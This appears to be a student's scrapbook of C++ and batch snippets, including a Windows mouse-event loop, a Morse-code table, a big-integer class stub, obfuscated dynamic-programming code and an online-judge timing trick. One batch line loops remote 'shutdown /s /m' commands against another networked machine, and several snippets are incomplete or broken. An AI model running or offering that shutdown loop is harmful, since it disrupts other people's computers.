        GetClientRect(hwnd, &rect);
        hideCursor();
        srand(time(0));
        
        
        enableCursor(hInput, prev_mode);
        // mouseHook = SetWindowsHookEx(WH_MOUSE, MouseHookProc, NULL, GetCurrentThreadId());
    }
    
    // 还原设置 并退出程序 
    void exit(HANDLE hInput, DWORD prev_mode, HHOOK mouseHook) {
        UnhookWindowsHookEx(mouseHook);
        SetConsoleMode(hInput, prev_mode);
        reableCursor(hInput, prev_mode);
        exit(0); 
    }
    
    // 获取事件 
    void getEvent() {
        long long t = gettime();
        rep(_Ev, 1, 0xFE) {
            rctEvents[_Ev] = events[_Ev];
            events[_Ev].keyDown = isKeyPressed(_Ev);
            if (!rctEvents[_Ev].keyDown && events[_Ev].keyDown) {
    // e0e674f3-677a-4001-b465-3a0e29a43320
                events[_Ev].keyFstDown = 1;
                events[_Ev].time = t;
                events[_Ev].during = 0;
            } else if (rctEvents[_Ev].keyDown && events[_Ev].keyDown) {
                events[_Ev].keyFstDown = 0;
                events[_Ev].time = rctEvents[_Ev].time;
                events[_Ev].during = t - rctEvents[_Ev].time + max(0, rctEvents[_Ev].during);
            } else if (rctEvents[_Ev].keyDown && !events[_Ev].keyDown) {
                events[_Ev].keyFstDown = 0;
                events[_Ev].keyUp = 1;
                events[_Ev].during = -1;
                events[_Ev].time = -1;
            } else {
                events[_Ev].keyFstDown = 0;
                events[_Ev].keyUp = 0;
                events[_Ev].during = -1;
                events[_Ev].time = -1;
            }
            
        }
    }
    
    // 打印 
    void printscreen(); 
    
    // 重置
    void reset();
    
    // 更新地图
    void flip();
    
    // 输出调试用信息 
    void printInfo();
    
    int main() {
        init();
        while (true) {
            system("cls");                      // 清屏
            GetCursorPos(&cursorPos);           // 获取鼠标位置
            ScreenToClient(hwnd, &cursorPos);   // 获取鼠标相对窗口位置
            _time = gettime();                  // 获取当前时间戳
            getEvent();                         // 获取鼠标事件
            if (events[VK_LBUTTON].keyDown) {}  // 取用鼠标事件
        }
        
        exit(hInput, prev_mode, mouseHook);
    }
    
    鼠入器(?)
    #include <iostream>
    #include <windows.h>
    #include <cmath>
    #include <ctime>
    #define isKeyPressed(nVirtKey) ((GetKeyState(nVirtKey) & (1<<(sizeof(SHORT)*8 - 1))) != 0)
    #define cursorKeyDown(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
    #define rep(x, f, l) for (int x = (f); x <= (l); x++)
    
    using namespace std;
    
    int wWindow, hWindow;
    long long _time;
    const int fps = 50;
    
    HANDLE hInput;
    HHOOK mouseHook;
    DWORD prev_mode;
    POINT cursorPos;
    HWND hwnd;
    RECT rect;
    
    struct Event {
        bool keyFstDown;
        bool keyDown;
        bool keyUp;
        int during;
        long long time;
    } events[3];
    
    char codes[114][114514] = {
    	{'E', 'T'},
    	{'I', 'A', 'N', 'M'}, 
    	{'S', 'U', 'R', 'W', 'D', 'K', 'G', 'O'}, 
    	{'H', 'V', 'F', '?', 'L', '?', 'Q', 'J', 'B', 'X', 'C', 'Y', 'Z', '?', '?', '?'}, 
    	{'5', '4', '', '3', '', '', '', '2', '', '', '', '', '', '', '', '1', 
    	 '6', '', '', '', '', '', '', '', '7', '', '', '', '8', '', '9', '0'
    	}
    };
    
    LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
        if (nCode == HC_ACTION) {
            if (wParam == WM_RBUTTONDOWN || wParam == WM_RBUTTONUP ||
                wParam == WM_RBUTTONDBLCLK) {
                return 1; // 不进一步处理消息,禁止默认处理
            }
        }
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
    
    long long gettime() {
        SYSTEMTIME currentTime;
        GetSystemTime(&currentTime);
        return currentTime.wMilliseconds + time(0) * 1000;
    }
    
    int main() {
    	while (true) {
    		
    	}
    	return 0;
    }
    
    瑟伯代码
    for /l %a in (1, 1, 100000) do shutdown /s /m \\G2 /t 10
    
    -r:6:3hh.-kn66f{67<3htr.-mx3fqnf{;3htr.-itlf{;3htr.
    -gft~z:::3htr.-rnvzfskfsl6783htr.
    -ijxn2xj}3uw.-fsfqutwsxyfwx3nskt.-kn{jxyfw983htr.
    -~oir69;3htr-W<=GG:R+<PYIT==.?nrnpzs.-}9><7;3htr?7>=<:.-yzt~n7=3hqzg.
    
    奇怪的图像
    y=sin(xycot(x)sin(y))*114514
    y=sin(xycot(x)sin(x)sin(y))*114514
    
    omg
    #include <iostream>
    #include <vector>
    using namespace std;
    const int maxn = 114514;
    
    class HugeInt {
    	private:
    	vector<short> v;
    	
    	public:
    	bool cmp(HugeInt x, HugeInt y);
    	HugeInt add(HugeInt x, HugeInt y);
    	HugeInt sub(HugeInt x, HugeInt y);
    	HugeInt Add(HugeInt x, HugeInt y);
    	HugeInt Sub(HugeInt x, HugeInt y);
    	HugeInt multi(HugeInt x, HugeInt y);
    	HugeInt divide(HugeInt x, HugeInt y);
    	
    	HugeInt AND(HugeInt x, HugeInt y);
    	HugeInt OR(HugeInt x, HugeInt y);
    	HugeInt XOR(HugeInt x, HugeInt y);
    	HugeInt NOT(HugeInt x, HugeInt y);
    	HugeInt SHL(HugeInt x, HugeInt y);
    	HugeInt SHR(HugeInt x, HugeInt y);
    	
    	HugeInt operator - (HugeInt other);
    	HugeInt operator + (HugeInt other);
    	HugeInt operator * (HugeInt other);
    	HugeInt operator / (HugeInt other);
    	
    	HugeInt operator = (HugeInt other);
    	HugeInt operator += (HugeInt other);
    	HugeInt operator -= (HugeInt other);
    	HugeInt operator *= (HugeInt other);
    	HugeInt operator /= (HugeInt other);
    	HugeInt operator &= (HugeInt other);
    	HugeInt operator |= (HugeInt other);
    	HugeInt operator ^= (HugeInt other);
    	HugeInt operator <<= (HugeInt other);
    	HugeInt operator >>= (HugeInt other);
    	
    	bool scan();
    	void print();
    	
    };
    
    
    int main() {
        HugeInt x, y;
        return 0;
    }
    
    极限卡评测
    // 实操:非常极限!
    // http://www.oiclass.com/record/6610de07e4a9e4b5208b85d0
    #include <iostream>
    #include <ctime>
    #define gameStart() clock_t cl = clock()
    #define deadLoop() while (clock() - cl <= 998000)
    using namespace std;
    
    int main() {
        gameStart();
        // put your codes there
        deadLoop();
        return 0;
    }
    
    #include<bits/stdc++.h>
    #define _ for
    #define $ int
    #define l long
    #define q sizeof
    #define s std
    #define N 105
    #define e endl
    #define z return
    #define w min
    #define h cin
    #define g cout
    #define x memset
    #define d main
    
    l l f [N][N],
    a[N],n; d(){s::\
    h>>n;x(f,127\
    ,q f);_($ i=1;
    s::h>>a[i],f[i][i]=
    f [i][i+1]=0,i<=n;i++);
    _($ x=1; x<=n;x++){
    _($ i=1;i<=n;i++) {
    $ j=s::w(x+i-1,((
    $)n));_($ k=i+1;k
    <j;k++) {f[i][j]= s::
    w(f[i][j],f[i][k]+f[k
    ][j]+a[i]*a[j]*a[k]);}}
    }s::g<<f[1][n]<<((
    e)); z 0;}
    
    
    
    
    
    #include <iostream>
    using namespace std;
    
    bool goal[] = {
        {1, 1, 1, 1, 1, 0, 1,    1, 0, 0, 0, 1, 0, 0,     1, 0, 0, 0, 1, 0, 0,     0, 1, 1, 1, 0, 0, 0,    1, 1, 1, 1, 1, 0, 0,    0, 0, 1, 0, 0, 0, 0,    1, 1, 1, 1, 1, 0, 0,    1, 0, 0, 0, 1, 0, 0,    1, 1, 1, 1, 1, 0, 0,      0, 1, 1, 1, 0}, 
        {0, 0, 1, 0, 0, 0, 1,    1, 1, 0, 1, 1, 0, 0,     0, 1, 0, 1, 0, 0, 0,     1, 0, 0, 0, 1, 0, 0     },
        {0, 0, 1, 0, 0, 1, 0,    1, 0, 1, 0, 1, 0, 0,     0, 0, 1, 0, 0, 0, 0,     1, 0, 0, 0, 1, 0, 0     }, 
        {0, 0, 1, 0, 0, 0, 0,    1, 0, 1, 0, 1, 0, 0,     0, 0, 1, 0, 0, 0, 0,     1, 0, 0, 0, 1, 0, 0     },
        {0, 0, 1, 0, 0, 0, 0,    1, 0, 1, 0, 1, 0, 0,     0, 0, 1, 0, 0, 0, 0,     1, 0, 0, 0, 1, 0, 0     },
        {0, 0, 1, 0, 0, 0, 0,    1, 0, 1, 0, 1, 0, 0,     0, 0, 1, 0, 0, 0, 0,     1, 0, 0, 0, 1, 0, 0     },
        {1, 1, 1, 1, 1, 0, 0,    1, 0, 1, 0, 1, 0, 0,     0, 0, 1, 0, 0, 0, 0,     0, 1, 1, 1, 0, 0, 0     }
    }
    
    int main() {
    	
    }